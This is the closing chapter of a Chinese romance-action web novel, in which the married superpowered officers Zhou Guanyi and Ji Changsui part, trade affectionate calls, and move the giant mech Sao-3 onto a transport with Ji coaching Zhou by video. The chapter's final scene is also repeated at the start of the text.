“不难,我教你。”季长岁语调带着懒散,他听起来又伸了个懒腰,“嗯——我老公这么聪明的根本没难度。” 周观逸哭笑不得,最后跟他说要继续出发了才挂断电话。 和计划的一样,在午夜抵达萨奥小镇。镇子夜里十分宁静,依稀还可看见希拉斯马戏团的痕迹,那些宣传单和小丑玩偶。和鬼魅一样缠着季长岁的小丑玩偶,加兹拉尔的恶作剧异能。 周观逸一行人在萨奥小镇与当地军事防御基地碰头后,程部长从运输车上把骑重机开下来。夜色浓得像一滩沼泽悬于苍穹,几束探照灯打过去,周观逸的视线落在机甲上。它只露出上缘一部分,是当初季长岁驾驶它作战时连续火力轰炸致使地面塌陷,最后只留了个上边的舱门。 “准备——”程部长的声音从通讯器里传出来。 各组员待命,拉好了警戒线,大家手里拿着钩爪网,以防止机甲被拎起来时有那么几根触须掉下去,到时发射钩爪去兜一下。 巨型的高精度机械在探照灯的光束里,它在暗夜中熠熠生辉。周观逸不合时宜地想起了“僧”口中的“时间”,起初他觉得是希拉斯利用蝴蝶病毒逆转生命而欺骗人心,又因为病毒带来的痛苦需要毒品去扼制,所以才有那么多肝脑涂地的信徒。 “僧”信奉的“时间”像是个会施展仁慈或降下惩戒的存在,但此时此刻,他看着萨奥3号,这台二十多年前的高精机甲,它没有输给时间——即便在今天,它仍然强大到需要军区绞尽脑汁过来搬它。 所以“时间”的仁爱与否,终归是人能做到何种程度。 人们安静地看着它,这台恐怖如斯的杀戮机器,它的外形酷似水母,每根触须上密布着弹药仓和发射口。 它美极了,周观逸见过它更美的样子,在季长岁手里狂轰滥炸。 “呼。”程部长松了口气,“现在来到最严重的问题了,它能不能被平移到运输车上……” “程部长。”周观逸在通讯器里说,“能不能先让我试试?” “嗯?” 十五分钟后,周观逸坐进萨奥3号驾驶舱。 为了应对可能出现的任何情况,他们此行带来了一些萨奥3号的能源,经105号汽油混合制作的燃料。 注能完毕后,周观逸启动驾驶舱的照明系统,然后拨过去一通视频电话。 “嗨老公。”季长岁刚吹干头发,穿一件浅色的睡衣,“晚上好。” “晚上好。”周观逸指了指操作盘,“教教我?” 季长岁坐了起来。 这夜桃榔市上空有很多星星,季长岁走到阳台去,趴在栏杆上:“对,往上挑但不要挑到最上边,中间一挡,回头看左后方,看见了吗,那个是萨奥3号左后三个触须的操纵杆……哈哈哈哈哈哈,你按一个就好了,它会自主平衡,是的,萨奥3号很聪明,你也很聪明宝贝儿。” 周观逸无奈:“录着呢,这是出勤资料。” 季长岁来劲了:“是吗,我请到婚假了,下个月空出15天,你什么时候搞定?” “这趟回去就能搞定,我直接按住然后往前拨是吗?我得让它‘走’到运输车上。” “对,往前。” 萨奥3号很聪明,在程部长喃喃自语的“难道机械异能可以性传播吗”的震惊之下,它缓慢而稳固地自己抬起触须迈上了运输车。 “哇。”周观逸自己都没敢相信,他的手机支在两个操纵杆后边,“真行啊。” “周观逸。”季长岁在屏幕叫了声他的名字。 “嗯?” “太棒了老公。”季长岁笑着说。 “谢谢啊老公。”第67章 第67章完结章 离开总军区的过程比季长岁想象的要顺利,讲真的他很害怕别离时候两个人依依不舍抹着眼泪不撒手,虽说他知道周观逸不是那样不撒手的人,但他确实怕—— 怕周观逸眼泪一往下掉,他就转身走去军械部,跟程部长说给我找个班上吧我得留在这儿陪我老公。 幸好,全程周观逸从容冷静。 “证件,票据,评估报告。”总署大楼楼下,周观逸一件件清点交给他,“这把雷明顿给你用,两个弹匣,不用还了,饭卡……饭卡还是我留着吧,行了,去吧。” “哦……”季长岁背好包,是个防水防撕的登山包,里头都是这阵子的生活用品。 周观逸像是在一个普通的清晨办一件公事,他旁边站着两个部下和副队长沈浪,季长岁先后跟他们握手,军区有班车去往最近的车站,季长岁坐班车先去车站,然后从车站有直达机场的公车。 “路上小心。”周观逸最后过来跟他轻轻抱了一下,这个拥抱基本也就停留在礼节上。 季长岁一直看着他:“好。我回头给你……发消息。” “嗯。” 就这样离开了。 因为没有人泛起太强烈的情绪,所以季长岁一直从军区到上飞机再落地都没有太大的波澜。直到他边开机边走向机场行李传输带,手机在启动界面稍微卡壳了一会儿,之后加载出界面,它慢吞吞地在人潮涌动的机场里好不容易争到了一些网络信号,微信嗡嗡两声进来了几条消息。 他打开微信,杨局长的,何书清的,群里@他的。 周观逸的一条,他点开:我从现在开始想你了。 这条发送过来时他刚刚起飞,所以是看着值机时间发过来的,还挺纯情,知道自己要关机,发过来不会第一时间看见,留了个空白时间。 季长岁低头笑着回复:周长官我降落了,一会儿拿了行李回家我再想你啊。 拿到包背上往外走的时候周观逸回复了:为什么要回家才想? 季长岁笑了起来,机场到达很多人,嘈杂声不断,里三层外三层环绕着他。他按着说话键:“因为我等下要边想你边洗澡。” 周观逸戴上耳机又听了一遍。 听完摘下来,锁屏手机,跟着队伍一起上车。 他们今天要去把萨奥3号原型机带回来,此前人们认为它埋在萨奥小镇的地下是万无一失,没承想希拉斯早早打上了它的主意。 不能将它继续留在那里了。周观逸此次作为陆军护卫保护军械部的人一同前往,他们带上了军械部最新研发的起重设备,联络了大件运输作军用,终于在这天全部准备就绪出发。 周观逸和程部长一辆车,沈浪开车,周观逸在副驾抱着枪看手机。 之前在跟季长岁聊天,这会儿季长岁要去边想他边洗澡了,季长岁最后一条消息是叫他别坐车玩儿手机,免得晕车。 周观逸不晕车的,他还记得上次晕车,从昶州医院往回去,何书清在开车,他不得不去闻季长岁的信息素来缓解晕车的强烈不适感。 恍然一想,像是上辈子的事儿了。 可是再想想,又没那么远,周观逸将手机装好,偏头看车窗外,已经开出四百多公里,他们计划在下一个服务区给车加油,补给休息。 天气很好,周观逸嘴里嚼着一颗果味软糖,扶着加油枪,扭头看看表盘上公升数在跳着。后面还有两千多公里,在认识季长岁以前,周观逸是个十足沉稳的人,在军区,无论出任务还是平时训练,他永远按部就班,稳定性极高。 沈浪会忽然想起他之前是个稳定性极高的人,因为他从没见过周观逸嚼糖果……而且是现在这个出差的时间。 “队长。”沈浪买好矿泉水和饼干薯片之类的,放进车里,走过来,“程部长还在卫生间,我们要不要在里边多买点吃的,这样下一次停车就可以等到晚上。” 周观逸把加油枪挂回去,想了想时间:“可以,去吧。” 风很温柔,高速公路服务区里停着不少车,不远处遮阳篷下边公共桌椅聚着几家人在那儿吃泡面。放平时,周观逸扫一眼过去只是会判定这些是普通群众,没有携带枪械。可现在他简直看见什么都会想到季长岁。 是不是回了桃榔继续吃便利店,他们市局食堂好吃吗,会想要糖果吗……今天送他走的时候没给他装糖果,因为周观逸不清楚他在桃榔是走的什么风格,贸然从兜里摸出颗五彩斑斓的糖会不会被同事拿去当闲聊的话题。 其实还是舍不得的,但他表现得十分稳定。 “队长!”沈浪远远喊了他一声,“小申有点不舒服,我去帮他们开车,这辆你开一下。” “行。”周观逸靠在车尾的,站直起来走去驾驶室打开车门坐进去。 总之就是一直想到季长岁。想起他们从昶州去到萨奥小镇开过的那片沙漠,燃油耗尽后季长岁驱动着那辆车,从容轻松,游刃有余。想起萨奥3号那个庞然巨物在马戏团里无差别乱杀。 沈浪坐上副驾驶,扣安全带,随口一问:“不知道季警官回去市局了没。” 啊又提。周观逸扶着方向盘驶离服务区:“到了,在休息。” “这样子啊,不过他真的好厉害,程部长说她还没见过未经训练就能驾驶萨奥3号的人。”沈浪真诚道。 把周观逸说得都有点骄傲了,想念不堪言,借了个理由跟别人聊他倒也不错:“对,他父亲是季亦华,可见他比他父亲天赋更强。” “哦!”沈浪恍然,诧异了下后又觉得合理,“难怪总觉得他眼熟。” “眼熟?”周观逸不解。 “军械部合照里有季长官,就挂在程部长办公室外面走廊,我以前在军械部值班。”沈浪解释。 车队继续走。 对讲里保持着每隔一阵子汇报后边大件运输车的状况,那个能够把萨奥3号从土里拎起来的最新研发的起重设备。由程部长带领一群研究人员昼夜不分肝出来的。 说到军械部,周观逸有些沉默。 总军区军械部对他来讲有些不那么美好的回忆,不过他忘了沈浪刚进总军区是在军械部值班站岗的。现下想想,周观逸似乎咂摸出了什么。 “沈浪。” “啊?”沈浪坐车坐得快睡着了,陡然一惊,“队长,怎么了。” 这次不是严肃的行军任务,只是去取回大型机甲,而且目前还在治安覆盖的城市范围,所以大家相对比较轻松。 沈浪被忽然这么一叫,瞌睡全无。 周观逸面上看起来很平静:“季长岁应该问过你一些军械部的往事吧。” “对啊。”沈浪答得理所当然,“咱们在昶州的时候,有天何书清和白珊宇他们一块儿去吃饭,吃烤肉那天,他问了我一下,说军械部从前廖部长是怎么……怎么没的。” 廖寒是周观逸的母亲。这个连带关系是很容易查到的,甚至都不用查,在系统里搜一搜就出来了。有些事情是公开的秘密,无伤大雅的那种,就像季长岁四年前在恶作剧影响下失控杀了柯帆,这事儿在桃榔市局不是秘密,但大家没事不会提起。 周观逸的母亲也是。在总军区大家差不多都知道,但不会提。 “我……”沈浪骤然后脊冰凉,整个人绷直起来,“对不起长官,我不知道…我的意思是,我以为这……是互通的?就像我们也都知道季警官他…徒手打死了他老师。” 沈浪找了个莫名其妙的词儿。 好在周观逸不是很在乎,他笑了下:“没事,我理解。我的意思是你全都告诉过他?” “……嗯。” 沈浪的出发点比较随意,一来当时他们结婚了,并且在沈浪看来他们感情很好。一块儿出任务,一起出去逛街,尤其玩游戏的时候周观逸还说什么夫妻共同财产。沈浪这脑瓜子叫他出任务听指令那是一等一的,但考虑这些因素就比较耿直。 沈浪如实招来:“那天季警官问我廖部长是怎么没的,我就告诉他了……廖部长从前遭人毒害,是一种异能神经上的毒害方式,当时有间谍潜入,他听着的时候不像单纯好奇八卦,像是……我形容不好,像是他很想了解你。” 周观逸打灯变了个道,他是军车,从遮阳板侧边拿下来无线电:“总军区0602号车及后车请求高速交警压车让道。” 无线电里很快收到交警的回复,因为事前交流过,他们早已准备就绪。周观逸挂会通讯器,跟沈浪说:“没事的,其实这些事情他不问你,自己也能查到。” 不过周观逸想问的不是这个:“所以我不是跟你兴师问罪,没什么的,我是想知道……他当时听到我做了些什么之后,是什么反应。” 沈浪回忆了一会儿,回答:“他蛮平淡的。” “哦……”预料之中。 “他听见我跟他说……当时廖部长的空气限制异能致使多个阻止她击打卫星的军官死亡,季警官听到这儿的时候没什么反应,直到我说……当时你才十几岁,冲进去那间几乎抽光氧气的操作间,用净化异能控制住廖部长的时候,他特别认真地盯着我。” 周观逸想象了下那个画面,笑了:“好吧。” 高速交警过来压住了车流控制住速度,在车流中为他们的车截出一个豁口,好叫他们先过收费站换去另一条高速。 周观逸继续认真开车,太阳慢慢向西斜去,一列车队浩浩荡荡地奔去。 其实在之前他隐约有一些季长岁已经知道了的感觉,只是那位不擅长表达,而且有时方向会歪。譬如在昶州逛街那天买的点心他直接一递说全都给自己,譬如那之后过了一阵子带自己去靶场玩,还哄骗自己故意没中靶。 有一种心照不宣是他知道我知道我也知道他知道——好吧这么一想是有点绕,周观逸换手扶方向盘,拿起水杯吸了一口。 “没事儿吧?”沈浪心有余悸,“我是说,这些事情告诉季警官……真的没事儿吧?” “没事儿他是我老公。”周观逸说。 他老公这个时间刚从市局下班。 桃榔有很漂亮的晚霞,在天边荡着,附近有几栋写字楼窗户贴了偏光的玻璃膜,拒绝晚霞进入加班场所,可能付不起它们的加班费吧。季长岁拿出手机来打车,原本想开个警车回去,但有点懒。 主要是有点想念周观逸,想发会儿呆。 “喂?”季长岁打开家门进去,不自觉笑起来,“你们到了?这么快?” “没有,在加油休息。” “加油站打电话?” “在小超市门口。”周观逸换了只手拿手机,换右手拎袋子,“你吃过晚饭了?” “嗯。”季长岁带上门,换鞋,把通讯器啊警车钥匙啊什么的放下,一系列叮叮咚咚的声音,“下午开会,讲了下赵砚白的事儿,我下午才知道,她为了确保血统纯净,专杀与柯老师有血缘关系的精神类异能者……也幸亏唐枯木生那么多孩子,否则还真未必够她杀。” 周观逸一时无语:“唐枯木要是还活着,估计这时候得疯了。” 季长岁笑了声,肩膀夹着手机开始解皮带:“是啊,市局将她送公检了,应该过不久就要起诉了,柯老师的骨灰也……” “安葬了吗?” 季长岁在沙发坐下,向后靠的过程里发出了些舒服的声音:“还没,存在局里。他活着的时候总说死了撒海里,但我们的习俗总归是入土为安,不晓得,让杨局去琢磨吧。” “也好。”周观逸说。 “你到哪里了?” 周观逸抬头向服务区顶儿上看:“什维塔服务区,警官。” 季长岁一笑:“那快了,不到三个小时了。” “嗯。”周观逸说,“我得继续赶路了,萨奥3号比较麻烦,还不晓得挖它要挖多久。” “欸,等下。” “嗯?” “你有想过……把它开出来吗?” “或许我是净化类异能者。”周观逸一本正经,“并不适合驾驶机甲。” “不难,我教你。”季长岁语调带着懒散,他听起来又伸了个懒腰,“嗯——我老公这么聪明的根本没难度。” 周观逸哭笑不得,最后跟他说要继续出发了才挂断电话。 和计划的一样,在午夜抵达萨奥小镇。镇子夜里十分宁静,依稀还可看见希拉斯马戏团的痕迹,那些宣传单和小丑玩偶。和鬼魅一样缠着季长岁的小丑玩偶,加兹拉尔的恶作剧异能。 周观逸一行人在萨奥小镇与当地军事防御基地碰头后,程部长从运输车上把骑重机开下来。夜色浓得像一滩沼泽悬于苍穹,几束探照灯打过去,周观逸的视线落在机甲上。它只露出上缘一部分,是当初季长岁驾驶它作战时连续火力轰炸致使地面塌陷,最后只留了个上边的舱门。 “准备——”程部长的声音从通讯器里传出来。 各组员待命,拉好了警戒线,大家手里拿着钩爪网,以防止机甲被拎起来时有那么几根触须掉下去,到时发射钩爪去兜一下。 巨型的高精度机械在探照灯的光束里,它在暗夜中熠熠生辉。周观逸不合时宜地想起了“僧”口中的“时间”,起初他觉得是希拉斯利用蝴蝶病毒逆转生命而欺骗人心,又因为病毒带来的痛苦需要毒品去扼制,所以才有那么多肝脑涂地的信徒。 “僧”信奉的“时间”像是个会施展仁慈或降下惩戒的存在,但此时此刻,他看着萨奥3号,这台二十多年前的高精机甲,它没有输给时间——即便在今天,它仍然强大到需要军区绞尽脑汁过来搬它。 所以“时间”的仁爱与否,终归是人能做到何种程度。 人们安静地看着它,这台恐怖如斯的杀戮机器,它的外形酷似水母,每根触须上密布着弹药仓和发射口。 它美极了,周观逸见过它更美的样子,在季长岁手里狂轰滥炸。 “呼。”程部长松了口气,“现在来到最严重的问题了,它能不能被平移到运输车上……” “程部长。”周观逸在通讯器里说,“能不能先让我试试?” “嗯?” 十五分钟后,周观逸坐进萨奥3号驾驶舱。 为了应对可能出现的任何情况,他们此行带来了一些萨奥3号的能源,经105号汽油混合制作的燃料。 注能完毕后,周观逸启动驾驶舱的照明系统,然后拨过去一通视频电话。 “嗨老公。”季长岁刚吹干头发,穿一件浅色的睡衣,“晚上好。” “晚上好。”周观逸指了指操作盘,“教教我?” 季长岁坐了起来。 这夜桃榔市上空有很多星星,季长岁走到阳台去,趴在栏杆上:“对,往上挑但不要挑到最上边,中间一挡,回头看左后方,看见了吗,那个是萨奥3号左后三个触须的操纵杆……哈哈哈哈哈哈,你按一个就好了,它会自主平衡,是的,萨奥3号很聪明,你也很聪明宝贝儿。” 周观逸无奈:“录着呢,这是出勤资料。” 季长岁来劲了:“是吗,我请到婚假了,下个月空出15天,你什么时候搞定?” “这趟回去就能搞定,我直接按住然后往前拨是吗?我得让它‘走’到运输车上。” “对,往前。” 萨奥3号很聪明,在程部长喃喃自语的“难道机械异能可以性传播吗”的震惊之下,它缓慢而稳固地自己抬起触须迈上了运输车。 “哇。”周观逸自己都没敢相信,他的手机支在两个操纵杆后边,“真行啊。” “周观逸。”季长岁在屏幕叫了声他的名字。 “嗯?” “太棒了老公。”季长岁笑着说。 “谢谢啊老公。”